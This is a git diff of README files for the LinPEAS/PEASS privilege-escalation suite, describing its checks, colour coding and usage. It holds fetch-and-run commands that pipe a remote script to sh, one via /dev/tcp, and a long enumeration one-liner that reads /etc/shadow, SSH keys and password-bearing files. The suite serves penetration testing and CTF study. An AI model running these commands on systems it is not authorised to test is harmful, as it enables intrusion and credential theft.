diff --git a/LICENSE b/LICENSE old mode 100644 new mode 100755 diff --git a/README.md b/README.md old mode 100644 new mode 100755 index 272d96f..67be151 --- a/README.md +++ b/README.md @@ -1,120 +1,21 @@ -# LinPEAS - Linux Privilege Escalation Awsome Script (with colors!!) - -Also valid for other **Unix systems** (tested in Debian, CentOS, FreeBSD and OpenBSD) - - -**LinPEAS performs the linux privilege escalation checks explained in [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/privilege-escalation)** - -[![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/266928) - - -## Quick Start -```bash -#From github -curl https://raw.githubusercontent.com/carlospolop/linux-privilege-escalation-awsome-script/master/linpeas.sh | sh -``` - -```bash -#Local network -python -m SimpleHTTPServer 80 -curl 10.10.10.10/linpeas.sh | sh - -#Without curl -nc -lvnp 80 < linpeas.sh -cat < /dev/tcp/10.10.10.10/80 | sh -``` - - -The goal of this script is to search for possible **Privilege Escalation vectors**. - -This script doesn't have any dependency. - -The script can be run in everything that have **/bin/sh** (even OpenBSD, FreeBSD and other OS with /bin/sh). - -It could take from **2 to 3 minutes** to execute the whole script (less than 1 min to make almost all the checks, almost 1 min to search for possible passwords inside all the accesible files of the system and 1 min to monitor the processes in order to find very frequent cron jobs). - -You can **decrease this** time use the parameters: -- **-f** (fast) - This will bypass checking processes during 1 min -- **-s** (superfast) - This will bypass the previous check and other time consuming checks. - -This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector. - -LinPEAS also **exports a new PATH** variable if common folders aren't present in the original PATH variable. It also **exports** unset and export several environmental commands so no command executed during the session will be saved in the history file (you can avoid this actions using the parameter **-n**). - -You can see the *[checks performed by linPEAS here](https://github.com/carlospolop/linux-privilege-escalation-awsome-script/tree/master/checks)* - - -## Colors - -LinPEAS uses colors to indicate where does each section begin. But **it also uses them the identify potencial misconfigurations**. - -The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure). - -The ![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to PE: -- Possible exploitable kernel versions -- Vulnerable sudo versions -- Identify processes running as root -- Not mounted devices -- Dangerous fstab permissions -- Writable files in interesting directories -- SUID/SGID binaries that have some vulnerable version (it also specifies the vulnerable version) -- SUDO binaries that can be used to escalate privileges in sudo -l (without passwd) (https://gtfobins.github.io/) -- Check /etc/doas.conf -- 127.0.0.1 in netstat -- Known files that could contain passwords -- Capabilities in interesting binaries -- Interesting capabilities of a binary -- Writable folders and wilcards inside info about cron jobs -- Writables folders in PATH -- Groups that could lead to root -- Files that could contains passwords - -The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for: -- Common processes run by root -- Common not interesting devices to mount -- Not dangerous fstab permissions -- SUID/SGID common binaries (the bin was already found in other machines and searchsploit doesn't identify any vulnerable version) -- Common .sh files in path -- Common names of users executing processes - -The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for: -- Users without shell -- Mounted devices - -The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for: -- Users with shell - -The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for: -- Current username - - -## One liner - -Here you have an old linpe version script in one line, **just copy and paste it**;) - -**The color filtering is not available in the one-liner** (the lists are too big) - -This one-liner is deprecated (I am not going to update it more), but it could be useful in some cases so it will remain here: - -The default file where all the data is recorded is: */tmp/linPE* (you can change it at the beginning of the script) - - -```sh -file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm -rf $file;echo "File: $file";echo "[+]Gathering system information...";printf $B"[*] "$RED"BASIC SYSTEM INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Operative system\n"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"PATH\n"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Date\n"$NC >> $file;date 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo version\n"$NC >> $file;sudo -V 2>/dev/null| grep "Sudo ver" >> $file;echo "" >> $file;printf $Y"[+] "$RED"selinux enabled?\n"$NC >> $file;sestatus 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Useful software?\n"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Capabilities\n"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Environment\n"$NC >> $file;(set || env) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Top and cleaned proccesses\n"$NC >> $file;ps aux 2>/dev/null | grep -v "\[" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Binary processes permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Services\n"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Different processes executed during 1 min (HTB)\n"$NC >> $file;if [ "`ps -e --format cmd`" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v "\[" | sed '/^.\{500\}./d' >> $file; rm $file.tmp1; fi;echo "" >> $file;printf $Y"[+] "$RED"Proccesses binary permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Scheduled tasks\n"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Any sd* disk in /dev?\n"$NC >> $file;ls /dev 2>/dev/null | grep -i "sd" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Storage information\n"$NC >> $file;df -h 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Unmounted file-system?\n"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Printer?\n"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering network information...";printf $B"[*] "$RED"NETWORK INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Hostname, hosts and DNS\n"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" >> $file;dnsdomainname 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Networks and neightbours\n"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Ports\n"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Can I sniff with tcpdump?\n"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo "" >> $file;echo "" >> $file;echo "[+]Gathering users information...";printf $B"[*] "$RED"USERS INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Me\n"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l without password\n"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Do I have PGP keys?\n"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Superusers\n"$NC >> $file;awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Login\n"$NC >> $file;w 2>/dev/null >> $file;last 2>/dev/null | tail >> $file;echo "" >> $file;printf $Y"[+] "$RED"Users with console\n"$NC >> $file;cat /etc/passwd 2>/dev/null | grep "sh$" >> $file;echo "" >> $file;printf $Y"[+] "$RED"All users\n"$NC >> $file;cat /etc/passwd 2>/dev/null | cut -d: -f1 >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering files information...";printf $B"[*] "$RED"INTERESTING FILES\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"SUID\n"$NC >> $file;find / -perm -4000 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"SGID\n"$NC >> $file;find / -perm -g=s -type f 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside \$HOME (limit 20)\n"$NC >> $file;ls -la $HOME 2>/dev/null | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"20 First files of /home\n"$NC >> $file;find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside .ssh directory?\n"$NC >> $file;find /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"*sa_key* files\n"$NC >> $file;find / -type f -name "*sa_key*" -ls 2>/dev/null -exec ls -l {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"Mails?\n"$NC >> $file;ls -alh /var/mail/ /var/spool/mail/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"NFS exports?\n"$NC >> $file;cat /etc/exports 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Hashes inside /etc/passwd? Readable /etc/shadow or /etc/master.passwd?\n"$NC >> $file;grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null >> $file;cat /etc/shadow /etc/master.passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Readable /root?\n"$NC >> $file;ls -ahl /root/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Inside docker or lxc?\n"$NC >> $file;dockercontainer=`grep -i docker /proc/self/cgroup 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`;lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`;if [ "$dockercontainer" ]; then echo "Looks like we're in a Docker container" >> $file; fi;if [ "$lxccontainer" ]; then echo "Looks like we're in a LXC container" >> $file; fi;echo "" >> $file;printf $Y"[+] "$RED"*_history, profile, bashrc, httpd.conf\n"$NC >> $file;find / -type f \( -name "*_history" -o -name "profile" -o -name "*bashrc" -o -name "httpd.conf" \) -exec ls -l {} \; 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"All hidden files (not in /sys/) (limit 100)\n"$NC >> $file;find / -type f -iname ".*" -ls 2>/dev/null | grep -v "/sys/" | head -n 100 >> $file;echo "" >> $file;printf $Y"[+] "$RED"What inside /tmp, /var/tmp, /var/backups\n"$NC >> $file;ls -a /tmp /var/tmp /var/backups 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Interesting writable Files\n"$NC >> $file;USER=`whoami`;HOME=/home/$USER;find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'| sort | uniq >> $file;for g in `groups`; do find / \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME | grep -v '/sys/fs'; done >> $file;echo "" >> $file;printf $Y"[+] "$RED"Web files?(output limited)\n"$NC >> $file;ls -alhR /var/www/ 2>/dev/null | head >> $file;ls -alhR /srv/www/htdocs/ 2>/dev/null | head >> $file;ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head >> $file;ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head >> $file;echo "" >> $file;printf $Y"[+] "$RED"Backup files?\n"$NC >> $file;find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*back*" -o -name "*bck*" \) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find IPs inside logs\n"$NC >> $file;grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Find 'password' or 'passw' string inside /home, /var/www, /var/log, /etc\n"$NC >> $file;grep -lRi "password\|passw" /home /var/www /var/log 2>/dev/null | sort | uniq >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l (you need to puts the password and the result appear in console)\n"$NC >> $file;sudo -l; -``` - -## Todo - -- Add more checks -- Mantain updated the list of vulnerable SUID binaries -- Mantain updated all the blacklists used to color the output -- Support for MacOS - -If you want to help with any of this, youu can do it using github issues or you can submit a pull request. - -If you find any issue, please report it using the github issues. - - -**Linpeas** is being **updated** every time I find something that could be useful to escalate privileges. - -By Polop(TM) +# PEASS - Privilege Escalation Awsome Scripts SUITE + +Here you will find **privilege escalation tools for Windows and Linux/Unix\*** (in some near future also for Mac). + +These tools search for possible **local privilege escalation paths** that you could exploit and print them to you **with nice colors** so you can recognize the misconfigurations easily. + +- Check the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation) +- **[WinPEAS](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/winpeas) - Windows local Privilege Escalation Awsome Script (C#.exe and .bat)** + +- Check the **Local Linux Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist) +- **[LinPEAS](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/linpeas) - Linux local Privilege Escalation Awsome Script (.sh)** + +## Do not fork it!! + +If you want to **add something** and have **any cool idea** related to this project, please let me know it using the [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) and we will update the master version. + +## License + +MIT License + +By Polop(TM) \ No newline at end of file diff --git a/checks/README.md b/checks/README.md deleted file mode 100644 index 0188e7c..0000000 --- a/checks/README.md +++ /dev/null @@ -1,104 +0,0 @@ -# LinPEAS - Linux Privilege Escalation Awsome Script (with colors!!) - -Also valid for **Unix systems** - -## What does linpeas look for -- **System Information** - - [x] SO & kernel version - - [x] Sudo version - - [x] PATH - - [x] Date - - [x] System stats - - [x] Environment vars - - [x] SElinux - - [x] Printers - - [x] Dmesg (signature verifications) - - [x] Container? - -- **Devices** - - [x] sd* in /dev - - [x] Unmounted filesystems - -- **Available Software** - - [x] Useful software - - [x] Installed compilers - -- **Processes & Cron & Services** - - [x] Cleaned processes - - [x] Binary processes permissions - - [x] Different processes executed during 1 min - - [x] Cron jobs - - [x] Services - -- **Network Information** - - [x] Hostname, hosts & dns - - [x] Content of /etc/inetd.conf - - [x] Networks and neighbours - - [x] Iptables rules - - [x] Active ports - - [x] Sniff permissions (tcpdump) - -- **Users Information** - - [x] Info about current user - - [x] PGP keys - - [x] `sudo -l` without password - - [x] doas config file - - [x] Pkexec policy - - [x] Try to login using `su` as other users (using null pass and the username) - - [x] List of superusers - - [x] List of users with console - - [x] Login info - - [x] List of all users - - [x] Clipboard and highlighted text - -- **Software Information** - - [x] MySQl (Version, user being configured, loging as "root:root","root:toor","root:", user hashes extraction via DB and file, possible backup user configured) - - [x] PostgreSQL (Version, try login in "template0" and "template1" as: "postgres:", "psql:") - - [x] Apache (Version) - - [x] PHP cookies - - [x] Wordpress (Database credentials) - - [x] Tomcat (Credentials) - - [x] Mongo (Version) - - [x] Supervisor (Credentials) - - [x] Cesi (Credentials) - - [x] Rsyncd (Credentials) - - [x] Hostapd (Credentials) - - [x] Wifi (Credentials) - - [x] Anaconda-ks (Credentials) - - [x] VNC (Credentials) - - [x] LDAP database (Credentials) - - [x] Open VPN files (Credentials) - - [x] SSH (private keys, known_hosts, authorized_hosts, authorized_keys, main config parameters in sshd_config, certificates, agents) - - [X] PAM-SSH (Unexpected "auth" values) - - [x] Cloud Credentials (credenals-AWS-, credentials.gb-GC-, legacy_credentials-GC-, access_tokens.db-GC-, accessTokens.json-Azure-, azureProfile.json-Azure-) - - [x] NFS (privilege escalation misconfiguration) - - [x] Kerberos (configuration & tickets in /tmp) - - [x] Kibana (credentials) - - [x] Logstash (Username and possible code execution) - - [x] Elasticseach (Config info and Version via port 9200) - - [x] Vault-ssh (Config values, secrets list and .vault-token files) - - [x] screen and tmux sessions - - -- **Generic Interesting Files** - - [x] SUID & SGID files - - [x] Capabilities - - [x] .sh scripts in PATH - - [x] Hashes (passwd, shadow & master.passwd) - - [x] Try to read root dir - - [x] Files owned by root inside /home - - [x] List of readable files belonging to root and not world readable - - [x] Root files inside a folder owned by the current user - - [x] Reduced list of files inside my home and /home - - [x] Mails - - [x] Backup files - - [x] DB files - - [x] Web files - - [x] Files that can contain passwords (and search for passwords inside *_history files) - - [x] List of all hidden files - - [x] List ALL writable files for current user (global, user and groups) - - [x] Inside /tmp, /var/tmp and /var/backups - - [x] Password ins config PHP files - - [x] Get IPs, passwords and emails from logs - - [x] password or credential files in home - - [x] "pwd" and "passw" inside files (and get most probable lines) \ No newline at end of file diff --git a/linPEAS/README.md b/linPEAS/README.md new file mode 100755 index 0000000..5553692 --- /dev/null +++ b/linPEAS/README.md @@ -0,0 +1,243 @@ +# LinPEAS - Linux Privilege Escalation Awsome Script + +**LinPEAS is a script that searh for possible paths to escalate privileges on Linux/Unix\* hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/privilege-escalation)** + +Check the **Local Linux Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist) + +[![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/266928) + + +## Quick Start +```bash +#From github +curl https://raw.githubusercontent.com/carlospolop/linux-privilege-escalation-awsome-script/master/linpeas.sh | sh +``` + +```bash +#Local network +python -m SimpleHTTPServer 80 +curl 10.10.10.10/linpeas.sh | sh + +#Without curl +nc -lvnp 80 < linpeas.sh +cat < /dev/tcp/10.10.10.10/80 | sh +``` + +## Basic Information + +The goal of this script is to search for possible **Privilege Escalation Paths** (tested in Debian, CentOS, FreeBSD and OpenBSD). + +This script doesn't have any dependency. + +It uses **/bin/sh** sintax, so can run in anything supporting `sh` (and the binaries and parameters used). + +It could take from **2 to 3 minutes** to execute the whole script (less than 1 min to make almost all the checks, almost 1 min to search for possible passwords inside all the accesible files of the system and 1 min to monitor the processes in order to find very frequent cron jobs). + +You can **decrease this** time use the parameters: +- **-f** (fast) - This will bypass checking processes during 1 min +- **-s** (superfast) - This will bypass the previous check and other time consuming checks. + +This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector. + +LinPEAS also **exports a new PATH** variable if common folders aren't present in the original PATH variable. It also **exports** unset and export several environmental commands so no command executed during the session will be saved in the history file (you can avoid this actions using the parameter **-n**). + +![](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/blob/master/linpeas/images/help.png) + +## Hosts Discovery and Port Scanning + +With LinPEAS you can also **discover hosts automatically** using `fping`, `ping` and/or `nc`, and **scan ports** using `nc`. + +LinPEAS will **automatically search for this binaries** in `$PATH` and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning. + +![](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/blob/master/linpeas/images/network.png) + +## Colors + +
+Details + +LinPEAS uses colors to indicate where does each section begin. But **it also uses them the identify potencial misconfigurations**. + +The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure). + +The ![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to PE: +- Possible exploitable kernel versions +- Vulnerable sudo versions +- Identify processes running as root +- Not mounted devices +- Dangerous fstab permissions +- Writable files in interesting directories +- SUID/SGID binaries that have some vulnerable version (it also specifies the vulnerable version) +- SUDO binaries that can be used to escalate privileges in sudo -l (without passwd) (https://gtfobins.github.io/) +- Check /etc/doas.conf +- 127.0.0.1 in netstat +- Known files that could contain passwords +- Capabilities in interesting binaries +- Interesting capabilities of a binary +- Writable folders and wilcards inside info about cron jobs +- Writables folders in PATH +- Groups that could lead to root +- Files that could contains passwords + +The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for: +- Common processes run by root +- Common not interesting devices to mount +- Not dangerous fstab permissions +- SUID/SGID common binaries (the bin was already found in other machines and searchsploit doesn't identify any vulnerable version) +- Common .sh files in path +- Common names of users executing processes + +The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for: +- Users without shell +- Mounted devices + +The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for: +- Users with shell + +The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for: +- Current username + +
+ +## One liner + +Here you have an old linpe version script in one line, **just copy and paste it**;) + +**The color filtering is not available in the one-liner** (the lists are too big) + +This one-liner is deprecated (I am not going to update it more), but it could be useful in some cases so it will remain here: + +The default file where all the data is recorded is: */tmp/linPE* (you can change it at the beginning of the script) + + +```sh +file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm -rf $file;echo "File: $file";echo "[+]Gathering system information...";printf $B"[*] "$RED"BASIC SYSTEM INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Operative system\n"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"PATH\n"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Date\n"$NC >> $file;date 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo version\n"$NC >> $file;sudo -V 2>/dev/null| grep "Sudo ver" >> $file;echo "" >> $file;printf $Y"[+] "$RED"selinux enabled?\n"$NC >> $file;sestatus 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Useful software?\n"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Capabilities\n"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Environment\n"$NC >> $file;(set || env) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Top and cleaned proccesses\n"$NC >> $file;ps aux 2>/dev/null | grep -v "\[" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Binary processes permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Services\n"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Different processes executed during 1 min (HTB)\n"$NC >> $file;if [ "`ps -e --format cmd`" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v "\[" | sed '/^.\{500\}./d' >> $file; rm $file.tmp1; fi;echo "" >> $file;printf $Y"[+] "$RED"Proccesses binary permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Scheduled tasks\n"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Any sd* disk in /dev?\n"$NC >> $file;ls /dev 2>/dev/null | grep -i "sd" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Storage information\n"$NC >> $file;df -h 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Unmounted file-system?\n"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Printer?\n"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering network information...";printf $B"[*] "$RED"NETWORK INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Hostname, hosts and DNS\n"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" >> $file;dnsdomainname 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Networks and neightbours\n"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Ports\n"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Can I sniff with tcpdump?\n"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo "" >> $file;echo "" >> $file;echo "[+]Gathering users information...";printf $B"[*] "$RED"USERS INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Me\n"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l without password\n"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Do I have PGP keys?\n"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Superusers\n"$NC >> $file;awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Login\n"$NC >> $file;w 2>/dev/null >> $file;last 2>/dev/null | tail >> $file;echo "" >> $file;printf $Y"[+] "$RED"Users with console\n"$NC >> $file;cat /etc/passwd 2>/dev/null | grep "sh$" >> $file;echo "" >> $file;printf $Y"[+] "$RED"All users\n"$NC >> $file;cat /etc/passwd 2>/dev/null | cut -d: -f1 >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering files information...";printf $B"[*] "$RED"INTERESTING FILES\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"SUID\n"$NC >> $file;find / -perm -4000 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"SGID\n"$NC >> $file;find / -perm -g=s -type f 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside \$HOME (limit 20)\n"$NC >> $file;ls -la $HOME 2>/dev/null | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"20 First files of /home\n"$NC >> $file;find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER | head -n 20 >> $file;echo "" >> $file;printf $Y"[+] "$RED"Files inside .ssh directory?\n"$NC >> $file;find /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"*sa_key* files\n"$NC >> $file;find / -type f -name "*sa_key*" -ls 2>/dev/null -exec ls -l {} \; >> $file;echo "" >> $file;printf $Y"[+] "$RED"Mails?\n"$NC >> $file;ls -alh /var/mail/ /var/spool/mail/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"NFS exports?\n"$NC >> $file;cat /etc/exports 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Hashes inside /etc/passwd? Readable /etc/shadow or /etc/master.passwd?\n"$NC >> $file;grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null >> $file;cat /etc/shadow /etc/master.passwd 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Readable /root?\n"$NC >> $file;ls -ahl /root/ 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Inside docker or lxc?\n"$NC >> $file;dockercontainer=`grep -i docker /proc/self/cgroup 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`;lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`;if [ "$dockercontainer" ]; then echo "Looks like we're in a Docker container" >> $file; fi;if [ "$lxccontainer" ]; then echo "Looks like we're in a LXC container" >> $file; fi;echo "" >> $file;printf $Y"[+] "$RED"*_history, profile, bashrc, httpd.conf\n"$NC >> $file;find / -type f \( -name "*_history" -o -name "profile" -o -name "*bashrc" -o -name "httpd.conf" \) -exec ls -l {} \; 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"All hidden files (not in /sys/) (limit 100)\n"$NC >> $file;find / -type f -iname ".*" -ls 2>/dev/null | grep -v "/sys/" | head -n 100 >> $file;echo "" >> $file;printf $Y"[+] "$RED"What inside /tmp, /var/tmp, /var/backups\n"$NC >> $file;ls -a /tmp /var/tmp /var/backups 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Interesting writable Files\n"$NC >> $file;USER=`whoami`;HOME=/home/$USER;find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm 